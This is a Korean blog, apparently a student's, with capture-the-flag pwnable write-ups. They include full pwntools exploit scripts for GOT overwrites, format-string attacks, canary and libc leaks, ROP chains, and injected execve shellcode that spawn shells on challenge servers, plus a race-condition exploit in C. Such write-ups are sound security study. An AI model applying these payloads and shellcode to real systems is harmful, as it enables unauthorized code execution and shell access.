블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

Notice

Tag

2017. 10. 26. 13:11 Hack/포너블

note.tar.gz


문제 특징

1. GOT 변조

2. libc leak

3. setvbuf



modify 함수에서 index를 음수로하면 라이브러리 함수의 got.plt와 stdin, stdout, stderr 변수의 값을 바꿀 수 있다. (buffer의 주소가 0x6020A0으로 bss 영역에 있기 때문이다.)


여기서 std--- 변수들은 FILE * 자료형으로 라이브러리에 존재하는 FILE 객체를 가르킨다고 한다. 핵심은 포인터 변수라는 것이다!


인자와 함께 got를 조작할 수 있는게 이 부분밖에 없다.


libc-database-master를 이용하여 system과 /bin/sh의 offset을 구한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-*- coding: utf-8 *-
from pwn import *
 
# proc = process('./note')
proc = remote('125.131.189.15'10001)
 
def menu(select) :
    proc.recvuntil('5.Exit\n')
    proc.sendline(select)
 
def modify(index, value) :
    menu('3')
    proc.recvuntil('modify : \n')
    proc.sendline(index)
    proc.recvuntil('Contents : \n')
    proc.send(value)
 
proc.recvuntil('Note\n')
proc.sendline('123')
 
modify('-11', p64(0x400786))    # exit@got.plt -> setvbuf init
modify('-13', p64(0x400610))    # setvbuf@got.plt -> puts@plt
modify('-4', p64(0x602028))    # stderr pointer -> read@got.plt
menu('5')
 
read_got = u64(proc.recvuntil('1.Add')[:6+ "\x00\x00")
 
# libc.so.6
libc_base = read_got - 0xf7220
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
 
"""
# local
system_addr = read_got - 0xA77B0
sh_addr = read_got + 0x94779
"""
 
log.info('system_addr : ' + hex(system_addr))
log.info('sh_addr : ' + hex(sh_addr))
 
modify('-13', p64(system_addr))    # setvbuf@got.plt -> system addr
modify('-4', p64(sh_addr))    # stderr pointer -> sh addr
menu('5')
 
proc.interactive()
 
cs

1. libc leak

setvbuf@got.plt를 puts@plt로 바꾸고 stderr를 read@got.plt로 변경한다.

exit@got.plt를 setvbuf를 호출하는 함수인 0x400786으로 변경하여, libc leak을 한다.


offset을 이용하여 system과 /bin/sh의 주소를 구한다.


2. exploit


setvbuf@got.plt를 system 주소로 바꾸고 stderr를 /bin/sh로 변경하여 쉘을 실행시킨다.


후기.
 setvbuf 함수는 ctf 문제를 풀다보면 흔히 볼 수 있는 함수이다. 그래서 무심코 지나갔는데 이 함수가 문제 풀이 핵심되어서 많이 헤매었다.


'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 10. 13. 16:48 Hack/포너블

baby-0x41414141.tar.gz


문제 특징.

1. FSB

2. exit()로 끝나기 때문에 main의 RET 변조는 의미 없음

3. NX 존재

4. flag() 함수 존재




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-*- coding: UTF-8 -*-
from pwn import *
 
# proc = process('./32_new')
proc = remote('163.172.176.29'9035)
 
payload = ''
payload += '%8x' * 9
payload += '%x' * 6
payload += '%x' * 3 + '%8x'
payload += '%x' * 4
payload += '%34277x' + '%x' * 5 + '%hn' + '1234'
payload += p32(0x0804a034)
 
pause()
 
# exploit
print(proc.recvuntil('name?\n'))
proc.sendline(payload)
 
print(proc.recv())
proc.interactive()
 
cs

1. exploit
exit@plt.got(0x0804a034)를 flag 함수의 주소(0x0804870b)로 바꿔주면 된다.
상위 2byte는 0x0804로 값이 같기 때문에 하위 2byte만 %hn으로 변경해주면 된다.

0x870b 라는 값을 넣기 위한 payload를 작성하고 exploit한다.


후기.

payload를 짜는게 힘들었다. pwntools에 FSB 툴이 있다고 알고 있는데 알아봐야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 9. 20. 14:53 Hack/포너블

scv.tar.gz




문제 특징.

1. 버퍼 오버 플로우

2. 해당 버퍼의 내용을 볼 수 있음

3. canary 존재, NX 존재


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#-*- coding: utf-8 -*-
from pwn import *
 
# env = {'LD_PRELOAD':'./libc-2.23.so'}
# proc = process(["./scv"], env=env)
proc = remote('pwn.chal.csaw.io'3764)
 
# canary leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*164 + 'abcd' + 'e')    # buffer + canary_msb
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('abcd' + 'e')
 
canary = '\x00' + proc.recvn(7)
log.info("canary : " + hex(u64(canary))) # NULL + canary
 
# main_ret leak
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send('a'*168 + 'b'*8 + 'c'*8)    # buffer + canary + SFP
 
proc.recvuntil('>>')
proc.sendline('2')
proc.recvuntil('c'*8)
 
main_ret = proc.recvn(6+ '\x00\x00'
main_ret = u64(main_ret)
log.info("main_ret : " + hex(main_ret))
 
# exploit
libc_base = main_ret - 0x20830
system_addr = libc_base + 0x45390
sh_addr = libc_base + 0x18cd17
rdi_addr = 0x400ea3
 
payload = ''
payload += 'a'*168
payload += canary
payload += p64(0xdeadbeef)
payload += p64(rdi_addr)
payload += p64(sh_addr)
payload += p64(system_addr)
 
proc.recvuntil('>>')
proc.sendline('1')
proc.recvuntil('>>')
proc.send(payload)
 
pause()
 
proc.recvuntil('>>')
proc.sendline('3')
 
proc.interactive()
 
cs

1. canary leak

 canary의 종류가 최상위 1byte가 NULL인 canary이다. 따라서, 최상위 1byte를 채워주면 canary를 leak 할 수 있다.


2. main_ret leak

 canary를 leak한 것과 같이 main함수의 RET(__libc_start_main_ret)을 leak 한다.

 libc-database-master를 이용하여 라이브러리의 system 함수와 "bin/sh" 문자열의 주소를 구한다.


3. exploit

 해당 프로그램은 64bit 라서 매개변수를 레지스터로 넘겨줘야 한다. rdi에 "bin/sh"의 주소를 넣기 위해서 gadget을 찾는다.


 canary를 유지시키면서 Exploit!


후기.

 첫번째로 해멘 곳은 매개변수를 레지스터로 넘기는 부분이다. 64bit에서는 매개변수를 레지스터로 넘긴다는게 생각나지 않았다.. ROPgadget 툴을 처음 써보았다. 굉장히 좋은듯!

 두번째로 헤멘 곳은 출력받는 부분이다. 여태까지는 recv()를 써서 출력을 받았었는데, 이 함수 때문에 main_ret leak이 잘 안됐었다. 앞으로는 recvuntil()과 recvn()을 애용해야겠다.

'Hack > 포너블' 카테고리의 다른 글

[Power Of XX] note  (0) 2017.10.26
[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
posted by Nehoy
2017. 3. 11. 14:03 Hack/포너블

level1.zip

이 문제를 구하게된 경로를 까먹어서 어떤 대회인지 모르겠다..


일단 checksec.sh 프로그램을 이용하여 NX가 안걸려있는걸 알 수 있다.


이 프로그램은 Book Manager라는 메뉴를 실행하는데, 간단하게 설명하면 1. Insert는 책 입력, 2. List는 책 목록 열거, 3. Search는 책 검색, 4. Delete는 책 삭제의 기능을 갖는다.

(참고로 이 책 목록은 linked list를 이용하여 구현되어있다.)


하나 이상의 책이 입력되어있으면 3. Search를 이용하여 검색을 할 수 있는데, 위와 같이 FSB가 일어나는 코드가 있다.

버퍼의 크기와 입력 길이가 0x400이나 되서 부담없이 쉘코드까지 넣을 수 있는 상황이다.


문제는 조작할만한 전역변수가 없는 상황에서 ASLR이 걸려 있다는 것이다. %n을 이용하여 ret을 버퍼의 중간 부분으로 조작하기 위해서, 변동되는 버퍼의 주소에 따라 자동으로 FSB Payload를 만드는 코드가 있어야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import math
import time
 
proc = remote('localhost'9002)
 
def recv() :
    return proc.recvrepeat(0.3)
 
def fsb_func_num(num) :
    length = len("%{0}x".format(num)) - 4
    
    temp = int(math.log10(num))
 
    num -= (length // 2* 8
    if (length % 2== 1 :
        num -= 8
 
    res = "%"
    if temp > int(math.log10(num)) :
        res = "%0"
    res = (res + "{0}x").format(num) + fsb_func_len(length)
    return res
def fsb_func_len(length) :
    res = "%x" * (length // 2)
    if (length % 2== 1 :
        res += "%8x"
    return res
 
recv()
proc.sendline("1")    # insert
recv()
proc.sendline("name"# book_name
recv()
proc.sendline("1")    # book_id
 
recv()
proc.sendline("3")    # search
recv()
proc.sendline("%p")   # FSB - buffer addr
temp = proc.recvline()
 
# FSB Payload Start
buf_addr = temp[temp.find('0x') : -1]
buf_addr = int(buf_addr, 16)
 
shcode_addr = buf_addr + 0x160    # padding
ret_addr = buf_addr + 0x40c + 4   # buf_size + SFP
 
temp1 = (shcode_addr & 0x0000ffff- 200 - 4
temp2 = ((shcode_addr & 0xffff0000>> 16- temp1 - 200 - 4 - 16 - 4
 
payload = "%8x"*10 + "%x"*15 + fsb_func_num(temp1) + p32(ret_addr) + "%hn" + "%8x%x" + fsb_func_num(temp2) + p32(ret_addr + 2+ "%hn"
payload += (0x160 - len(payload)) * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
recv()
proc.sendline("3")     # search
recv()
proc.sendline(payload) # FSB
recv()
 
time.sleep(1)
 
proc.sendline("ls -l level1")
print(recv())
cs

fsb_func_num은 출력해야 되는 문자 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_num(100) => %092x%8x


fsb_func_len은 먹어(?)야 하는 문자들의 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_len(len("123")) => %x%8x


buffer+0x160에 쉘코드를 넣었다.


사실 별 어려운 문제는 아니였는데 실수도 여러번 하고 해서 오래걸렸다...

'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
posted by Nehoy
2017. 2. 23. 11:39 Hack/포너블

Codegate 2016 문제 중 하나인 watermelon이다.

watermelon.zip


<프로그램 결과>

playlist를 추가하고 수정하는 프로그램이다. 3. Modify playlist로 추가하지 않은 index의 playlist를 수정할 수 있는데, 이곳이 취약점으로 발전된다.


<gdb>

3. Modify playlist 로 0번째 목록을 수정하면 위와 같은 상황이 된다.

ebp의 주소가 0xffffc3d8인데 read 함수의 매개변수로 들어가는 주소가 0xffffc3d4이다. music과 artist의 입력 길이가 220이므로 ret를 변조할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
 
repeat_time = 0.5
 
proc = remote("localhost"9002)
 
def recv() :
    proc.recvrepeat(repeat_time)
def recv_send(value) :
    recv()
    proc.sendline(value)
 
recv_send('hyeon')    # name
recv_send('3')        # modify
recv_send('0')        # index : 0
 
recv()
# music : AAAABBBB printf@plt - ori_ret - read@got.plt
proc.send('AAAABBBB' + p32(0x08048500+ p32(0x8049575+ p32(0x804c00c))
recv_send('b')        # artist
 
for i in range(08) :
    proc.recvline()
 
# get read addr
temp = proc.recv()[:4];
read_addr = ''
for i in reversed(range(04)) :
    read_addr += temp[i]
read_addr = '0x' + read_addr.encode('hex')
 
print("read addr : " + read_addr)
cs

<libc python code>

<libc python 결과>

<libc-databse libc 버전>

read함수의 got 값을 이용해서 libc버전을 구할 수 있다. 이를 이용해서 system 함수의 주소를 알아내면 된다.

리틀 엔디안을 고려하여 출력 값을 반전 시켜줘야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import time
 
repeat_time = 0.3
 
def recv(proc) :
    return proc.recvrepeat(repeat_time)
def recv_send(proc, value) :
    recv(proc)
    proc.sendline(value)
 
def func() :
    proc = remote("localhost"9002)
 
    recv_send(proc, 'hyeon')    # name
    recv_send(proc, '3')        # modify
    recv_send(proc, '0')        # index : 0
 
    name_addr = 0x804d7a0
    # music : AAAA - BBBB - printf@plt - pop edi - read@got.plt
    recv(proc)
    proc.send('AAAA' + 'BBBB' + p32(0x8048500+ p32(0x8049a6a+ p32(0x804c00c))
    # artist : name - read@plt - leave & ret - 0(stdin) - name - 20
    recv_send(proc, p32(name_addr) + p32(0x080484f0+ p32(0x80496f7+ p32(0+ p32(name_addr) + p32(20))
    
    for i in range(08) :
        proc.recvline()
 
    # check
    temp = recv(proc)[:4]
    if len(temp) < 4 :
        proc.close()
        return 1
    
    # get system addr & bin/sh addr
    read_got = ''
    for i in reversed(range(04)) :
        read_got += temp[i]
    
    read_got = int('0x' + read_got.encode('hex'), 16)
    print('read_got : ' + hex(read_got))
    system_addr = read_got - 0xe4c50 + 0x3de10
    sh_addr = read_got - 0xe4c50 + 0x174055
    
    # name : AAAA - system - BBBB - bin/sh
    proc.send('AAAA' + p32(system_addr) + 'BBBB' + p32(sh_addr))
    
    time.sleep(1)        # wait to open shell
    
    proc.sendline('ls -l watermelon')
 
    print(recv(proc))
    return 0
 
while True :
    if func() == 0 :
        break
cs

<exploit python code>

<pop edi - 0x8049a6a>

맨 처음 ret를 printf@plt로 변조하여 read@got 값을 출력하고 이를 이용해서 system과 /bin/sh의 주소를 구한다. read@got는 ret로 활용할 수 없는데, 그 뒤에 있는 값을 ret로 사용해야 하는 상황이다. 따라서, pop edi를 이용해서 read@got를 edi에 넣고, ebp에 name의 주소를 넣는다.

그 다음 read를 이용해서 name의 값을 "AAAA - system - BBBB - name + 16 - sh"로 변조한다. 그러면, leave를 하면서 esp가 name으로 가게 되고 ret을 통해 system이 실행된다.


페이로드는 다음과 같다.

music & artist : AAAA - BBBB - print@plt - 0x8049a6a - read@got - name - read@plt - leave & ret -  0(stdin) - name - 20

name : AAAA - system - BBBB - /bin/sh


<exploit python 결과>

이상하게 check의 recv에서 값이 잘 넘어오지 않는다. 원인을 파악하지 못해서 일단 반복해서 실행하게 만들었다.


고정되어있는 name 변수를 ebp로 설정하는게 이 풀이의 요지다.

'Hack > 포너블' 카테고리의 다른 글

[CSAW 2017] scv  (0) 2017.09.20
[포너블] level1  (7) 2017.03.11
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
posted by Nehoy
2017. 2. 21. 10:01 Hack/포너블

%x$y (x : 1 이상, y : 포맷 스트링)



<32bit 프로그램 결과>



<64bit 프로그램 매개변수 순서>

index 1 : edi

index 2 : esi

index 3 : edx

index 4 : ecx

index 5 : r8d

index 6 : r9d

index 7 : stack

'Hack > 포너블' 카테고리의 다른 글

[포너블] level1  (7) 2017.03.11
[Codegate 2016] watermelon  (3) 2017.02.23
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
2017. 2. 20. 06:32 Hack/포너블

Codegate 2016 예선 문제 중 하나인 Serial이다.

Serial.zip

<프로그램 화면>

맨처음 이 프로그램을 실행시키기 위해서는 serial을 입력해야 한다.


<IDA를 이용하여 본 0x400cbb(check_serial)>

serial을 알아내기 위해서 python이나 c언어로 위 함수를 직접 모방할 수도 있지만, 복잡한 코드로 구성되어있기 때문에 이번에는 angr를 사용해보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
import angr
 
def main():
    p = angr.Project("serial", load_options={'auto_load_libs': False})
    ex = p.surveyors.Explorer(find=(0x400f2e), avoid=(0x400d2c0x400e82))
    ex.run()
    
    return ex.found[0].state.posix.dumps(0).strip('\0\n')
 
if __name__ == '__main__':
    print main()
cs

<serial값을 알아내기 위한 python - angr code>

인터넷에 돌아다니는 angr 소스에 find와 avoid 주소만 바꾼 것이다.

find=0x400f2e 는 serial을 맞추면 나오는 Smash me!를 출력하는 곳이고, avoid=0x400d2c, 0x400e82는 각각 number only와 Wrong!을 출력하고 exit하는 곳이다. (사실 find주소만 제대로 되면 avoid 주소는 시간 단축 외에는 쓸모가 없는거 같다.)


<python - angr 결과>

위 결과에서 615066814080이 serial값이 된다.


<프로그램 화면>

올바른 serial key를 입력하면 위와 같이 4개의 메뉴가 등장하게 된다.

여기서 주의깊게 봐야할 메뉴는 1. Add와 3. Dump다.


<0x400a27(add)>

<0x4009dd<dump>

1. Add에서 32byte의 string을 넣을 수 있는데, 24-32byte는 3. Dump에서 호출할 함수의 주소로 활용된다. 기본적으로 24byte에 0x40096e가 들어가지만, 주소값이 들어가고 문자열을 복사하기 때문에 덮어씌울 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
 
print('main_ret : ' + hex(main_ret))
cs
<addr python code>

<프로그램 결과>

<libc-database libc버전>

위 3. Dump에서 printf함수를 호출하면 fsb를 일으킬 수 있다. 이를 이용해서 main함수의 return값인 __libc_start_main_ret를 구하면, libc 버전을 구할 수 있다.


/* 항상 하던대로 "%p"*X를 사용하면 index가 12인 값밖에 구하지 못하기 때문에 main_ret를 구하지 못한다. 이를 어떻게 하나 write-up을 보다가 찾은게 %19$p인데, 19$가 index를 지정해주는거 같다. Linux에서만 적용되는거 같지만, 좀 더 연구할만한 가치는 있는거 같다. */


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
 
proc = remote('localhost'9002)
 
def send(value) :
    proc.sendline(value)
def recv() :
    print(proc.recvrepeat(0.1))
 
recv()
 
send("615066814080"# serial
recv()
 
send("1"# add
recv()
send("%19$p " + "\x90"*18 + "\x90\x07\x40\x00")
recv()
 
send("3"# dump - print(__libc_start_main_ret)
print(proc.recvline()) # func : 
 
# get system address
temp = proc.recvline()
main_ret = int(temp[:temp.find(' ')], 16)
sys_addr = main_ret - 0x20830 + 0x45390
 
recv()
 
send("2"# remove
recv()
send("0"# index : 0
recv()
 
send("1"# add
recv()
send("/bin/sh;" + " "*16 + p64(sys_addr)[:-2])
recv()
 
send("3"# dump - system("sh')
recv()
 
time.sleep(1# wait to open shell
 
send("ls -l serial")
recv()
 
cs

<exploit python code>

<exploit 결과>

1. Add로 넣는 문자열 중간에는 NULL이 있을 수 없다. 이 문제점을 안고 /bin/sh 문자열을 어떻게 넣나 찾아보던 중에 명령어가 세미콜론(;)으로 구분되는 것을 보고 위와 같이 exploit 하였다.


원격 접속이기 때문에 recv받을 때까지 기다리는 시간을 충분히 해줘야 한다. ex. recvrepeat(0.1)


<checksec.sh>

처음에는 NX를 확인하지 않고 shell code를 넣어서 문제를 풀려고 했다. 그게 shellcode - exploit.py 파일이다.


※ kknock 서버와 내 vm - ubuntu를 왔다갔다 거리면서 문제를 풀어서 user가 변하는 모습을 볼 수 있다. 실제 문제를 푼 곳은 vm - ubuntu다. kknock 서버에서는 구한__libc_start_main_ret에 맞는 libc버전이 나오지 않아, 문제를 풀지 못했다.

★ angr와 libc-database를 조금 야매로 한거 같아서 나중에 제대로 조사해봐야겠다.



'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 19. 18:17 Hack/포너블

- ps | grep

ps -ef | grep -n 'program_name'


- socat

socat tcp-listen:9002,reuseaddr,fork,bind=0.0.0.0 exec:program_path


nc localhost 9002


- checksec.sh checksec.sh

./checksec.sh --file program_name


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[포너블] pwn1  (0) 2017.02.15
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 15. 21:53 Hack/포너블

pwn1.zip

현규형이 간단하게 pwntools를 연습해보라고 준 문제다.


프로그램은 진짜 간단한 bof 문제다. 특이사항은 버퍼의 크기가 0x10byte라서 shellcode가 못들어가기 때문에 buffer - SFP - RET 뒤에 shellcode를 넣고 주소를 이에 맞게 변경해줘야 한다.


p64는 주소값을 리틀엔디안에 맞게 반환해 주는 함수이다.  (pwntools 내부에 존재하는 함수이다.)


쉘을 따고 ls를 한 화면이다.

'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 12. 17:19 Hack/포너블

hunt.zip


<프로그램 실행 화면>

 스킬을 사용하여 각 레벨의 보스를 죽이는 프로그램이다.


<0x40184C - level_clear>

<0x4018D4 - game_clear>

 4 레벨을 클리어하면 flag를 얻을 수 있다.


<0x4019A4 - boss_attack>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
 
def defense(v1) :
    t1 = (v1 >> 32& 0xFFFFFFFF
    t2 = t1 >> 30
    t3 = v1 & 0xff
 
    v2 = ((t2 + t3) & 3- t2
    
    v = 0
    if v2 == 1 :
        v = 3
    elif v2 == 2 :
        v = 2
    else :
        v = 1
    
    v_str = "{0}".format(v)
    print(v_str)
 
defense(int(sys.argv[1]))
cs

<매개변수로 넘겨진 rand() 값을 토대로 보스의 공격을 예측하는 파이썬 코드>

 스킬을 사용하면 보스 또한 공격 하게 되는데 3개의 선택지 중 하나를 선택하여 공격을 막을 수 있다. 보스의 공격 값은 rand() 값을 기반으로 정해지게 되는데, rand()의 seed를 time() 값으로 설정하기 때문에 같은 시간에 seed를 설정하면 보스의 공격 값을 미리 알 수 있다.


<main>

<level 4 보스의 체력>

 attack으로 총 82번 '2. Use skill'을 하면 level 4가 되는데, level 4 보스의 체력은 0x7FFFFFFFFFFFFFFE가 된다. 메뉴 실행 횟수가 250미만으로 제한되어 있고 제한된 횟수안에 저 체력을 다 깎을만한 damage의 skill도 없으므로 체력을 깎아서 죽일 수는 없고, 보스의 체력을 2만큼 올려 오버플로우를 일으켜야 한다.


<0x401580 - use_skill>

 use_skill() 함수를 보면 스킬의 index가 4이하일 때, damage의 음수값 검사는 64bit로 진행하지만 공격 연산(hp -= damage)은 32bit로 진행하게 된다. 문제점은 index가 4이하인 스킬로는 damage를 음수로 만들 수가 없다는 것이다.


<main>

<0x40117C - skill_damage>

<0x400F46 - skill_damage_icesword>

 use_skill() 함수는 thread로 실행되는데, fireball과 icesword의 경우 damage 값 연산 함수(skill_damage)에서 sleep(1)을 한다. damage 변수는 공유되기 때문에, 위 sleep(1)을 이용하여 fireball - use_skill()에서 icesword의 damage 값(0xFFFFFFFF)으로 공격하면 된다.

 주의해야 할 점은 fireball - use_skill()에서 byte_603380의 값을 1로 만들었을 때, icesword - use_skill()이 다시 진행돼야 한다는 것이다. 이렇게 해서 "You are already using ~" 문자열이 출력되면, 보스의 hp에서 0xFFFFFFFF가 빼지는걸 막을 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
 
void change(FILE *fp, int value);
void defense(FILE *fp);
void attack(FILE *fp);
void final(FILE *fp);
 
void main() {
    FILE *fp = NULL;
    int i;
    
    srand((unsigned)time(NULL));
    if ((fp = popen("/home/hunting/hunting""w")) == NULL) {
        printf("error - popen\n");
        return ;
    }
    
    for (i = 0; i < 82; i++)    attack(fp);
    for (i = 0; i < 2; i++)     final(fp);
    
    pclose(fp);
}
 
void change(FILE *fp, int value) {
    fprintf(fp, "3\n%d\n", value);
    fflush(fp);
}
void defense(FILE *fp) {
    FILE *py_fp = NULL;
    char buffer[100];
    int select;
    
    sprintf(buffer, "python /tmp/hy/defense.py %d", rand());
    
    if ((py_fp = popen(buffer, "r")) == NULL) {
        printf("error - popen2\n");
        return ;
    }
    
    fscanf(py_fp, "%d"&select);
    pclose(py_fp);
    
    fprintf(fp, "%d\n", select);
    fflush(fp);
}
void attack(FILE *fp) {
    fprintf(fp, "2\n");
    fflush(fp);
    defense(fp);
}
void final(FILE *fp) {
    change(fp, 2);
    fprintf(fp, "2\n");
    fflush(fp);
 
    rand();
    defense(fp);
    change(fp, 7);
    fprintf(fp, "2\n");
    fflush(fp);
    
    sleep(1);
    
    rand();
    defense(fp);
}
 
cs

<문제 풀이에 사용된 C 코드>

<풀이 결과>

 python - pwn을 이용해서 원격으로 접속하니 명령 전달에 딜레이가 걸려 제때에 thread가 생성이 안되는 문제가 있었다. 서버에서 로컬로 문제를 풀어야 했는데 서버에는 pwn이 설치되어있지 않아서, c언어로 코딩한 다음 문제를 풀었다.


s1mp13_rac3_c0nd1t1n_gam3_


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy
prev 1 next